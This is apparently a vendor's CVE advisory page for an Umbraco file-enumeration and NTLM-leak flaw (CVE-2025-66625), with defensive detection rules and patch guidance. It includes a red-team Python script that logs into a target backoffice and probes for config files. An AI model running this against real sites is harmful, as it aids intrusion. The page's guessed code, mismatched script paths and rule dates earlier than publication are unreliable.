☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Umbraco logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.9 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-66625

CVE-2025-66625 Information Disclosure in Umbraco
📅 PUBLISHED: 2025-12-09 20:09 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Denmark License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66625 is an information disclosure vulnerability in Umbraco, an ASP.NET CMS. The flaw resides in the dictionary upload process, where temporary files are handled and deleted unsafely. An authenticated attacker with backoffice access can exploit predictable temporary file paths to enumerate the existence of arbitrary files on the server's filesystem. The vulnerability is confirmed by HTTP 500 (file exists) vs. HTTP 404 (file does not exist) responses. In certain configurations, incomplete cleanup of temporary upload files may also expose the NTLM hash of the Windows account running the Umbraco application. The issue is fixed in version 13.12.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Umbraco CMS, which is distributed as a NuGet package. Organizations should verify their Umbraco package version and update to the patched version (13.12.1) to mitigate the risk. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

CVSS Score: 4.9 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

  • Attack Vector (AV): Network – The attack can be performed remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): High – The attacker must have backoffice access.
  • User Interaction (UI): None – No user action is needed.
  • Scope (S): Unchanged – The vulnerability does not affect other components.
  • Confidentiality (C): Low – Limited information disclosure (file existence).
  • Integrity (I): None – No data modification.
  • Availability (A): None – No denial of service.

Threat Level: Medium. The vulnerability requires authenticated access, but it can lead to sensitive information disclosure, including NTLM hashes in certain configurations.

Deep Dive & Mechanics

The vulnerability is rooted in the dictionary upload functionality of Umbraco. When a user uploads a dictionary file, the application creates temporary files in a predictable location. The unsafe handling and deletion of these temporary files allow an attacker to probe for the existence of arbitrary files on the server.

Mechanism:

  1. The attacker, authenticated to the backoffice, initiates a dictionary upload.
  2. The application creates a temporary file with a predictable name (e.g., temp_<guid>.xml).
  3. The attacker can then send requests to known temporary file paths.
  4. The application returns an HTTP 500 error if the file exists, and an HTTP 404 error if it does not.
  5. This difference in response allows the attacker to enumerate files on the server.

NTLM Hash Exposure: In certain configurations, if the temporary files are not properly cleaned up, an attacker may be able to trigger an NTLM authentication request by referencing a UNC path in the temporary file. This can leak the NTLM hash of the Windows account running the Umbraco application.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-13.12.1): The vulnerable code likely uses a predictable temporary file path and does not properly handle cleanup. For example:

string tempPath = Path.Combine(Path.GetTempPath(), "umbraco_dict_" + Guid.NewGuid().ToString());
// ... process upload ...
// Incomplete cleanup
File.Delete(tempPath); // May fail silently or not be called

Patched Code (13.12.1): The patched version likely uses a more secure temporary file handling mechanism, such as:

  • Using a random, unpredictable file name.
  • Ensuring proper cleanup in a finally block.
  • Validating file paths to prevent directory traversal.
  • Implementing proper error handling to avoid information leakage.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to the Umbraco backoffice with a valid account.
  • Knowledge of the temporary file path pattern.

Exploitation Steps:

  1. Log in to the Umbraco backoffice.
  2. Navigate to the dictionary upload functionality.
  3. Upload a dummy dictionary file to trigger temporary file creation.
  4. Use a script to send requests to known temporary file paths and observe the HTTP response codes.

Example Script (Python):

import requests

session = requests.Session()
# Authenticate to backoffice (replace with actual credentials)
login_url = "https://target.com/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
session.post(login_url, json={"username": "admin", "password": "password"})

# Enumerate files
base_url = "https://target.com/umbraco/temp/"
files_to_check = ["web.config", "appsettings.json", "umbraco.config"]
for file in files_to_check:
    response = session.get(base_url + file)
    if response.status_code == 500:
        print(f"File exists: {file}")
    elif response.status_code == 404:
        print(f"File does not exist: {file}")

Blue Team

Detection:

  • Monitor for unusual HTTP 500 errors on temporary file paths.
  • Look for patterns of requests to */umbraco/temp/* or similar paths.
  • Alert on multiple requests to non-existent files returning 500 errors.

Mitigation:

  • Apply the patch by upgrading to Umbraco 13.12.1.
  • Restrict backoffice access to trusted users only.
  • Implement Web Application Firewall (WAF) rules to block suspicious requests.

Indicators of Compromise (IOCs)

  • HTTP Requests: Requests to /umbraco/temp/ or similar paths with predictable file names.
  • HTTP Status Codes: A pattern of HTTP 500 errors for file existence checks.
  • Log Entries: Error logs indicating failed file access attempts.
  • NTLM Hashes: Unusual NTLM authentication requests in network traffic.

Detection Engineering

YARA Rule

rule CVE_2025_66625_Umbraco_File_Enumeration {
    meta:
        description = "Detects attempts to exploit CVE-2025-66625 by enumerating files via HTTP 500/404 responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66625"
    strings:
        $http_500 = "HTTP/1.1 500"
        $http_404 = "HTTP/1.1 404"
        $temp_path = "/umbraco/temp/"
    condition:
        any of ($http_*) and $temp_path
}

Sigma Rule

title: Umbraco File Enumeration via HTTP Status Codes
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-66625 by enumerating files via HTTP 500/404 responses
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66625
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem|contains: "/umbraco/temp/"
        sc-status:
            - 500
            - 404
    condition: selection
falsepositives:
    - Legitimate file access errors
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66625 Umbraco File Enumeration Attempt"; flow:to_server; content:"/umbraco/temp/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Umbraco to version 13.12.1 or later.
  2. Review and restrict backoffice user permissions.
  3. Monitor logs for unusual HTTP 500/404 patterns.

Long-term Measures:

  • Implement secure file handling practices (random file names, proper cleanup).
  • Use a Web Application Firewall (WAF) to block suspicious requests.
  • Conduct regular security audits and penetration testing.

Workarounds:

  • If immediate patching is not possible, disable the dictionary upload functionality temporarily.
  • Implement additional logging and alerting for file enumeration attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66625/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.